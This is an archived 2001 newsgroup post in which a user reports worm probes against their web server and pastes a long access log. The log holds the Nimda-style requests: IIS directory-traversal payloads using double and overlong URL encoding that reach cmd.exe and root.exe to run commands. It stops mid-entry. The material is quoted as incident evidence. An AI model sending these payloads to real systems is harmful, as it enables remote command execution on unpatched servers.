🚀 go-pugleaf

RetroBBS NetNews Server

Inspired by RockSolid Light RIP Retro Guy

Article View: ott.online
Article #26

new NT/IIS worm...

#26
From: Darrell Larose
Date: Tue, 18 Sep 2001 15:38
560 lines
32249 bytes
I am still getting Code Red attempts , but today starting at 09:40:29  so
far the only report is on slashdot.com, CERT.org and others haven't
discussed it as of yet. My site is on virtual2 @magma which is a UNIX box so
no harm as this again is a anti Microsoft NT/IIS worm


64.26.141.35 - - [18/Sep/2001:09:40:29 -0400] "GET /scripts/root.exe?/c+dir
HTTP/1.0" 404 288
64.26.141.35 - - [18/Sep/2001:09:40:29 -0400] "GET /MSADC/root.exe?/c+dir
HTTP/1.0" 404 286
64.26.141.35 - - [18/Sep/2001:09:40:30 -0400] "GET
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296
64.26.141.35 - - [18/Sep/2001:09:40:30 -0400] "GET
/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296
64.26.141.35 - - [18/Sep/2001:09:40:30 -0400] "GET
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
64.26.141.35 - - [18/Sep/2001:09:40:30 -0400] "GET
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 327
64.26.141.35 - - [18/Sep/2001:09:40:30 -0400] "GET
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 327
64.26.141.35 - - [18/Sep/2001:09:40:30 -0400] "GET
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
stem32/cmd.exe?/c+dir HTTP/1.0" 404 343
64.26.141.35 - - [18/Sep/2001:09:40:30 -0400] "GET
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
64.26.141.35 - - [18/Sep/2001:09:40:30 -0400] "GET
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
64.26.141.35 - - [18/Sep/2001:09:40:30 -0400] "GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
64.26.141.35 - - [18/Sep/2001:09:40:30 -0400] "GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
64.26.141.35 - - [18/Sep/2001:09:40:30 -0400] "GET
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293
64.26.141.35 - - [18/Sep/2001:09:40:30 -0400] "GET
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293
64.26.141.35 - - [18/Sep/2001:09:40:30 -0400] "GET
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
64.26.141.35 - - [18/Sep/2001:09:40:30 -0400] "GET
/scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
206.191.191.99 - - [18/Sep/2001:09:52:17 -0400] "GET
/scripts/root.exe?/c+dir HTTP/1.0" 404 288
206.191.191.99 - - [18/Sep/2001:09:52:21 -0400] "GET /MSADC/root.exe?/c+dir
HTTP/1.0" 404 286
206.191.191.99 - - [18/Sep/2001:09:52:21 -0400] "GET
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296
206.191.191.99 - - [18/Sep/2001:09:52:21 -0400] "GET
/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296
206.191.191.99 - - [18/Sep/2001:09:52:21 -0400] "GET
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
206.191.191.99 - - [18/Sep/2001:09:52:22 -0400] "GET
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 327
206.191.191.99 - - [18/Sep/2001:09:52:22 -0400] "GET
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 327
206.191.191.99 - - [18/Sep/2001:09:52:22 -0400] "GET
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
stem32/cmd.exe?/c+dir HTTP/1.0" 404 343
206.191.191.99 - - [18/Sep/2001:09:52:22 -0400] "GET
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
206.191.191.99 - - [18/Sep/2001:09:52:22 -0400] "GET
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
206.191.191.99 - - [18/Sep/2001:09:52:23 -0400] "GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
206.191.191.99 - - [18/Sep/2001:09:52:23 -0400] "GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
206.191.191.99 - - [18/Sep/2001:09:52:23 -0400] "GET
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293
206.191.191.99 - - [18/Sep/2001:09:52:23 -0400] "GET
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293
206.191.191.99 - - [18/Sep/2001:09:52:23 -0400] "GET
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
206.191.191.99 - - [18/Sep/2001:09:52:23 -0400] "GET
/scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
206.191.191.99 - - [18/Sep/2001:09:55:58 -0400] "GET
/scripts/root.exe?/c+dir HTTP/1.0" 404 288
206.191.191.99 - - [18/Sep/2001:09:55:58 -0400] "GET /MSADC/root.exe?/c+dir
HTTP/1.0" 404 286
206.191.191.99 - - [18/Sep/2001:09:56:02 -0400] "GET
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296
206.191.191.99 - - [18/Sep/2001:09:56:02 -0400] "GET
/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296
206.191.191.99 - - [18/Sep/2001:09:56:02 -0400] "GET
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
206.191.191.99 - - [18/Sep/2001:09:56:02 -0400] "GET
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 327
206.191.191.99 - - [18/Sep/2001:09:56:03 -0400] "GET
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 327
206.191.191.99 - - [18/Sep/2001:09:56:03 -0400] "GET
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
stem32/cmd.exe?/c+dir HTTP/1.0" 404 343
206.191.191.99 - - [18/Sep/2001:09:56:03 -0400] "GET
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
206.191.191.99 - - [18/Sep/2001:09:56:03 -0400] "GET
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
206.191.191.99 - - [18/Sep/2001:09:56:03 -0400] "GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
206.191.191.99 - - [18/Sep/2001:09:56:03 -0400] "GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
206.191.191.99 - - [18/Sep/2001:09:56:04 -0400] "GET
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293
206.191.191.99 - - [18/Sep/2001:09:56:04 -0400] "GET
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293
206.191.191.99 - - [18/Sep/2001:09:56:04 -0400] "GET
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
206.191.191.99 - - [18/Sep/2001:09:56:04 -0400] "GET
/scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
206.191.23.131 - - [18/Sep/2001:09:57:51 -0400] "GET
/scripts/root.exe?/c+dir HTTP/1.0" 404 288
206.191.138.147 - - [18/Sep/2001:09:58:53 -0400] "GET
/scripts/root.exe?/c+dir HTTP/1.0" 404 288
206.191.138.147 - - [18/Sep/2001:09:59:27 -0400] "GET /MSADC/root.exe?/c+dir
HTTP/1.0" 404 286
206.191.138.147 - - [18/Sep/2001:09:59:29 -0400] "GET
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296
206.191.138.147 - - [18/Sep/2001:09:59:33 -0400] "GET
/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296
206.191.138.147 - - [18/Sep/2001:09:59:35 -0400] "GET
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
206.191.138.147 - - [18/Sep/2001:09:59:38 -0400] "GET
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 327
206.191.138.147 - - [18/Sep/2001:09:59:41 -0400] "GET
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 327
206.191.138.147 - - [18/Sep/2001:09:59:57 -0400] "GET
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
stem32/cmd.exe?/c+dir HTTP/1.0" 404 343
206.191.19.73 - - [18/Sep/2001:10:00:00 -0400] "GET /scripts/root.exe?/c+dir
HTTP/1.0" 404 288
206.191.19.73 - - [18/Sep/2001:10:00:00 -0400] "GET /MSADC/root.exe?/c+dir
HTTP/1.0" 404 286
206.191.19.73 - - [18/Sep/2001:10:00:00 -0400] "GET
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296
206.191.19.73 - - [18/Sep/2001:10:00:00 -0400] "GET
/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296
206.191.138.147 - - [18/Sep/2001:10:00:00 -0400] "GET
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
206.191.19.73 - - [18/Sep/2001:10:00:00 -0400] "GET
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
206.191.19.73 - - [18/Sep/2001:10:00:01 -0400] "GET
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 327
206.191.19.73 - - [18/Sep/2001:10:00:01 -0400] "GET
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 327
206.191.19.73 - - [18/Sep/2001:10:00:03 -0400] "GET /msadc/..%255c../..%255c
../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 343
206.191.19.73 - - [18/Sep/2001:10:00:03 -0400] "GET
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
206.191.19.73 - - [18/Sep/2001:10:00:03 -0400] "GET
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
206.191.19.73 - - [18/Sep/2001:10:00:03 -0400] "GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
206.191.138.147 - - [18/Sep/2001:10:00:03 -0400] "GET
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
206.191.19.73 - - [18/Sep/2001:10:00:04 -0400] "GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
206.191.19.73 - - [18/Sep/2001:10:00:04 -0400] "GET
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293
206.191.19.73 - - [18/Sep/2001:10:00:05 -0400] "GET
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293
206.191.19.73 - - [18/Sep/2001:10:00:06 -0400] "GET
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
206.191.138.147 - - [18/Sep/2001:10:00:06 -0400] "GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
206.191.19.73 - - [18/Sep/2001:10:00:07 -0400] "GET
/scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
206.191.138.147 - - [18/Sep/2001:10:00:19 -0400] "GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
206.191.138.147 - - [18/Sep/2001:10:00:43 -0400] "GET
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293
206.191.138.147 - - [18/Sep/2001:10:00:49 -0400] "GET
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293
206.191.138.147 - - [18/Sep/2001:10:01:01 -0400] "GET
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
206.191.138.147 - - [18/Sep/2001:10:01:04 -0400] "GET
/scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
206.216.226.150 - - [18/Sep/2001:10:01:29 -0400] "GET
/scripts/root.exe?/c+dir HTTP/1.0" 404 288
206.216.226.150 - - [18/Sep/2001:10:01:29 -0400] "GET /MSADC/root.exe?/c+dir
HTTP/1.0" 404 286
206.216.226.150 - - [18/Sep/2001:10:01:30 -0400] "GET
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296
206.216.226.150 - - [18/Sep/2001:10:01:30 -0400] "GET
/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296
206.216.226.150 - - [18/Sep/2001:10:01:30 -0400] "GET
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
206.216.226.150 - - [18/Sep/2001:10:01:30 -0400] "GET
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 327
206.216.226.150 - - [18/Sep/2001:10:01:35 -0400] "GET
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 327
206.191.148.154 - - [18/Sep/2001:10:01:35 -0400] "GET
/scripts/root.exe?/c+dir HTTP/1.0" 404 288
206.216.226.150 - - [18/Sep/2001:10:01:36 -0400] "GET
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
stem32/cmd.exe?/c+dir HTTP/1.0" 404 343
206.216.226.150 - - [18/Sep/2001:10:01:37 -0400] "GET
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
206.216.226.150 - - [18/Sep/2001:10:01:37 -0400] "GET
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
206.216.226.150 - - [18/Sep/2001:10:01:37 -0400] "GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
206.216.226.150 - - [18/Sep/2001:10:01:38 -0400] "GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
206.216.226.150 - - [18/Sep/2001:10:01:38 -0400] "GET
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293
206.191.148.154 - - [18/Sep/2001:10:01:40 -0400] "GET /MSADC/root.exe?/c+dir
HTTP/1.0" 404 286
206.216.226.150 - - [18/Sep/2001:10:01:42 -0400] "GET
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293
206.216.226.150 - - [18/Sep/2001:10:01:42 -0400] "GET
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
206.216.226.150 - - [18/Sep/2001:10:01:42 -0400] "GET
/scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
206.191.148.154 - - [18/Sep/2001:10:01:46 -0400] "GET
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296
206.191.19.73 - - [18/Sep/2001:10:01:46 -0400] "GET /scripts/root.exe?/c+dir
HTTP/1.0" 404 288
206.191.19.73 - - [18/Sep/2001:10:01:47 -0400] "GET /MSADC/root.exe?/c+dir
HTTP/1.0" 404 286
206.191.19.73 - - [18/Sep/2001:10:01:47 -0400] "GET
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296
206.191.19.73 - - [18/Sep/2001:10:01:47 -0400] "GET
/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296
206.191.19.73 - - [18/Sep/2001:10:01:47 -0400] "GET
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
206.191.19.73 - - [18/Sep/2001:10:01:47 -0400] "GET
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 327
206.191.16.130 - - [18/Sep/2001:10:01:47 -0400] "GET
/scripts/root.exe?/c+dir HTTP/1.0" 404 288
206.191.19.73 - - [18/Sep/2001:10:01:47 -0400] "GET
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 327
206.191.19.73 - - [18/Sep/2001:10:01:51 -0400] "GET
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
stem32/cmd.exe?/c+dir HTTP/1.0" 404 343
206.191.19.73 - - [18/Sep/2001:10:01:51 -0400] "GET
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
206.191.19.73 - - [18/Sep/2001:10:01:51 -0400] "GET
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
206.191.19.73 - - [18/Sep/2001:10:01:51 -0400] "GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
206.191.19.73 - - [18/Sep/2001:10:01:51 -0400] "GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
206.191.16.130 - - [18/Sep/2001:10:01:51 -0400] "GET /MSADC/root.exe?/c+dir
HTTP/1.0" 404 286
206.191.19.73 - - [18/Sep/2001:10:01:51 -0400] "GET
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293
206.191.19.73 - - [18/Sep/2001:10:01:51 -0400] "GET
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293
206.191.19.73 - - [18/Sep/2001:10:01:51 -0400] "GET
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
206.191.19.73 - - [18/Sep/2001:10:01:51 -0400] "GET
/scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
206.191.16.130 - - [18/Sep/2001:10:01:52 -0400] "GET
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296
206.191.16.130 - - [18/Sep/2001:10:01:53 -0400] "GET
/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296
206.191.16.130 - - [18/Sep/2001:10:01:54 -0400] "GET
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
206.191.16.130 - - [18/Sep/2001:10:01:55 -0400] "GET
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 327
206.191.16.130 - - [18/Sep/2001:10:01:56 -0400] "GET
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 327
206.191.16.130 - - [18/Sep/2001:10:01:57 -0400] "GET
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
stem32/cmd.exe?/c+dir HTTP/1.0" 404 343
206.191.16.130 - - [18/Sep/2001:10:01:59 -0400] "GET
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
206.191.16.130 - - [18/Sep/2001:10:02:00 -0400] "GET
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
206.191.16.130 - - [18/Sep/2001:10:02:01 -0400] "GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
206.191.16.130 - - [18/Sep/2001:10:02:02 -0400] "GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
206.191.16.130 - - [18/Sep/2001:10:02:05 -0400] "GET
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293
206.191.16.130 - - [18/Sep/2001:10:02:06 -0400] "GET
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293
206.191.16.130 - - [18/Sep/2001:10:02:08 -0400] "GET
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
206.191.16.130 - - [18/Sep/2001:10:02:09 -0400] "GET
/scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
206.191.128.31 - - [18/Sep/2001:10:06:28 -0400] "GET
/scripts/root.exe?/c+dir HTTP/1.0" 404 288
206.191.128.31 - - [18/Sep/2001:10:06:29 -0400] "GET /MSADC/root.exe?/c+dir
HTTP/1.0" 404 286
206.191.128.31 - - [18/Sep/2001:10:06:29 -0400] "GET
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296
206.191.128.31 - - [18/Sep/2001:10:06:29 -0400] "GET
/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296
206.191.128.31 - - [18/Sep/2001:10:06:29 -0400] "GET
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
206.191.128.31 - - [18/Sep/2001:10:06:29 -0400] "GET
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 327
206.191.128.31 - - [18/Sep/2001:10:06:30 -0400] "GET
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 327
206.191.128.31 - - [18/Sep/2001:10:06:30 -0400] "GET
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
stem32/cmd.exe?/c+dir HTTP/1.0" 404 343
206.191.128.31 - - [18/Sep/2001:10:06:32 -0400] "GET
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
206.191.128.31 - - [18/Sep/2001:10:06:32 -0400] "GET
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
206.191.128.31 - - [18/Sep/2001:10:06:37 -0400] "GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
206.191.128.31 - - [18/Sep/2001:10:06:37 -0400] "GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
206.191.128.31 - - [18/Sep/2001:10:06:38 -0400] "GET
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293
206.191.128.31 - - [18/Sep/2001:10:06:38 -0400] "GET
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293
206.191.128.31 - - [18/Sep/2001:10:06:38 -0400] "GET
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
206.191.128.31 - - [18/Sep/2001:10:06:38 -0400] "GET
/scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
206.191.222.99 - - [18/Sep/2001:10:07:45 -0400] "GET
/scripts/root.exe?/c+dir HTTP/1.0" 404 288
206.191.222.99 - - [18/Sep/2001:10:07:45 -0400] "GET /MSADC/root.exe?/c+dir
HTTP/1.0" 404 286
206.191.222.99 - - [18/Sep/2001:10:07:46 -0400] "GET
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296
206.191.222.99 - - [18/Sep/2001:10:07:46 -0400] "GET
/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296
206.191.222.99 - - [18/Sep/2001:10:07:46 -0400] "GET
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
206.191.222.99 - - [18/Sep/2001:10:07:48 -0400] "GET
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 327
206.191.222.99 - - [18/Sep/2001:10:07:49 -0400] "GET
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 327
206.191.222.99 - - [18/Sep/2001:10:07:49 -0400] "GET
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
stem32/cmd.exe?/c+dir HTTP/1.0" 404 343
206.191.222.99 - - [18/Sep/2001:10:07:49 -0400] "GET
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
206.191.222.99 - - [18/Sep/2001:10:07:52 -0400] "GET
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
206.191.222.99 - - [18/Sep/2001:10:07:53 -0400] "GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
206.191.222.99 - - [18/Sep/2001:10:07:53 -0400] "GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
206.191.222.99 - - [18/Sep/2001:10:07:53 -0400] "GET
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293
64.211.217.66 - - [18/Sep/2001:10:08:24 -0400] "GET /robots.txt HTTP/1.0"
200 132
206.191.19.73 - - [18/Sep/2001:10:09:22 -0400] "GET /scripts/root.exe?/c+dir
HTTP/1.0" 404 288
206.191.19.73 - - [18/Sep/2001:10:09:23 -0400] "GET /MSADC/root.exe?/c+dir
HTTP/1.0" 404 286
206.191.19.73 - - [18/Sep/2001:10:09:23 -0400] "GET
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296
206.191.19.73 - - [18/Sep/2001:10:09:23 -0400] "GET
/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296
206.191.19.73 - - [18/Sep/2001:10:09:23 -0400] "GET
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
206.191.19.73 - - [18/Sep/2001:10:09:23 -0400] "GET
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 327
206.191.19.73 - - [18/Sep/2001:10:09:23 -0400] "GET
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 327
206.191.19.73 - - [18/Sep/2001:10:09:24 -0400] "GET
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
stem32/cmd.exe?/c+dir HTTP/1.0" 404 343
206.191.47.194 - - [18/Sep/2001:10:10:03 -0400] "GET
/scripts/root.exe?/c+dir HTTP/1.0" 404 288
206.191.47.194 - - [18/Sep/2001:10:10:04 -0400] "GET /MSADC/root.exe?/c+dir
HTTP/1.0" 404 286
206.191.47.194 - - [18/Sep/2001:10:10:05 -0400] "GET
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296
206.191.47.194 - - [18/Sep/2001:10:10:06 -0400] "GET
/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296
206.191.47.194 - - [18/Sep/2001:10:10:06 -0400] "GET
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
206.191.47.194 - - [18/Sep/2001:10:10:07 -0400] "GET
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 327
206.191.47.194 - - [18/Sep/2001:10:10:09 -0400] "GET
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 327
206.191.47.194 - - [18/Sep/2001:10:10:10 -0400] "GET
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
stem32/cmd.exe?/c+dir HTTP/1.0" 404 343
206.191.16.130 - - [18/Sep/2001:10:10:13 -0400] "GET
/scripts/root.exe?/c+dir HTTP/1.0" 404 288
206.191.47.194 - - [18/Sep/2001:10:10:14 -0400] "GET
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
206.191.16.130 - - [18/Sep/2001:10:10:17 -0400] "GET /MSADC/root.exe?/c+dir
HTTP/1.0" 404 286
206.191.47.194 - - [18/Sep/2001:10:10:17 -0400] "GET
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
206.191.47.194 - - [18/Sep/2001:10:10:17 -0400] "GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
206.191.16.130 - - [18/Sep/2001:10:10:18 -0400] "GET
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296
206.204.30.77 - - [18/Sep/2001:10:14:02 -0400] "GET /scripts/root.exe?/c+dir
HTTP/1.0" 404 288
206.204.30.77 - - [18/Sep/2001:10:14:06 -0400] "GET /MSADC/root.exe?/c+dir
HTTP/1.0" 404 286
206.204.30.77 - - [18/Sep/2001:10:14:06 -0400] "GET
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296
206.204.30.77 - - [18/Sep/2001:10:14:06 -0400] "GET
